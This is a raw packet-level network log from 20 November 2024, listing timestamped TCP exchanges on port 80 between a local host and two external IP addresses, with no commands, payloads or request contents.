Nov 20, 2024 04:08:17.227056026 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.227076054 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.227087975 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.227122068 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.227132082 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.227157116 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.227196932 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.234617949 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.234915018 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.234966993 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.235002995 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.235037088 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.235038042 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.235071898 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.235074043 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.235106945 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.235122919 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.235142946 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.235177040 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.235199928 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.235210896 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.235264063 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.235264063 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.235300064 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.235346079 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.235353947 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.235378981 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.235414982 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.235435963 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.235445976 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.235500097 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.238800049 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.238851070 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.238886118 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.238938093 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.238992929 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.239048004 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.239049911 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.239103079 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.239140987 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.239185095 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.239206076 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.239219904 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.239254951 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.239269972 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.239289045 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.239341021 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.239378929 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.239379883 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.239378929 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.239417076 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.239464045 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.239495993 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.239518881 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.239576101 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.240761042 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.240791082 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.240840912 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.240850925 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.240890980 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.240943909 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.240947962 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.240995884 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.241029978 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.241065025 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.241085052 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.241127014 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.241127968 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.241178036 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.241210938 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.241245031 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.241276979 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.241302967 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.241309881 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.241343975 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.241378069 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.241391897 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.241447926 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.243235111 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.243285894 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.243336916 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.243367910 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.243369102 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.243406057 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.243415117 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.243441105 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.243480921 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.243496895 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.243628979 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.243918896 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.246131897 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.246186018 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.246239901 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.246243954 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.246282101 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.246315002 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.246340990 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.246350050 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.246385098 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.246403933 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.247005939 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.247040987 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.247062922 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.247095108 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.247148037 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.247150898 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.247180939 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.247216940 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.247250080 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.247272015 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.247282982 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.247296095 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.247526884 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.247560978 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.247601986 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.247612000 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.247647047 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.247668028 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.247683048 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.247719049 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.247740984 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.247752905 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.247800112 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.249738932 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.249855995 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.249901056 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.249911070 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.249937057 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.249972105 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.249989033 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.250005960 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.250041008 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.250072956 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.250075102 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.250123024 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.250818968 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.251399040 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.251432896 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.251466990 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.251488924 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.251517057 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.251553059 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.251568079 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.251586914 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.251621962 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.251648903 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.251648903 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.251696110 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.253043890 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.253098011 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.253127098 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.253149033 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.253180027 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.253231049 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.253232956 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.253264904 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.253298998 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.253333092 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.253351927 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.253386021 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.253408909 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.253420115 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.253454924 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.253470898 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.253492117 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.253526926 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.253546000 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.253560066 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.253595114 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.253612041 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.253631115 CET	80	62475	34.116.198.130	192.168.2.4
Nov 20, 2024 04:08:17.253683090 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.258805990 CET	62475	80	192.168.2.4	34.116.198.130
Nov 20, 2024 04:08:17.267693043 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.267833948 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.267865896 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.267918110 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.267946005 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.267954111 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.267965078 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.267992020 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.268006086 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.268043041 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.268075943 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.268091917 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.268110991 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.268157005 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.268160105 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.268196106 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.268241882 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.268245935 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.268281937 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.268315077 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.268330097 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.268348932 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.268382072 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.268392086 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.268418074 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.268465996 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.268466949 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.268507004 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.268554926 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.268558979 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.268594027 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.268639088 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.268646002 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.268697023 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.268728971 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.268748999 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.268763065 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.268796921 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.268810987 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.268834114 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.268867016 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.268887043 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.268918037 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.268966913 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.268970013 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.269005060 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.269052029 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.269064903 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.269087076 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.269117117 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.269136906 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.269166946 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.269213915 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.269220114 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.269253969 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.269289017 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.269311905 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.269340992 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.269376993 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.269393921 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.269432068 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.269465923 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.269495010 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.269500971 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.269511938 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.269541979 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.269552946 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.269596100 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.269623041 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.269648075 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.269660950 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.269682884 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.269696951 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.269735098 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.269736052 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.269771099 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.269788027 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.269804001 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.269820929 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.269844055 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.269854069 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.269880056 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.269887924 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.269916058 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.269929886 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.269951105 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.269984007 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.269995928 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.270019054 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.270054102 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.270072937 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.270088911 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.270119905 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.270123959 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.270136118 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.270159960 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.270169973 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.270195007 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.270206928 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.270229101 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.270248890 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.270263910 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.270271063 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.270308018 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.270314932 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.270349026 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.270359993 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.270385981 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.270392895 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.270436049 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.270436049 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.270469904 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.270508051 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.270519018 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.270553112 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.270579100 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.270586967 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.270608902 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.270621061 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.270632029 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.270665884 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.270667076 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.270716906 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.270716906 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.270751953 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.270759106 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.270788908 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.270811081 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.270838022 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.270872116 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.270905972 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.270932913 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.270940065 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.270942926 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.270975113 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.271002054 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.271008968 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.271035910 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.271043062 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.271059036 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.271076918 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.271090031 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.271126032 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.271143913 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.271162033 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.271194935 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.271207094 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.271229982 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.271261930 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.271279097 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.271295071 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.271332979 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.271343946 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.271349907 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.271384954 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.271403074 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.271420956 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.271441936 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.271456003 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.271459103 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.271488905 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.271521091 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.271523952 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.271544933 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.271558046 CET	80	62476	185.215.113.16	192.168.2.4
Nov 20, 2024 04:08:17.271559954 CET	62476	80	192.168.2.4	185.215.113.16
Nov 20, 2024 04:08:17.271593094 CET	80	62476	185.215.113.16	192.168.2.4
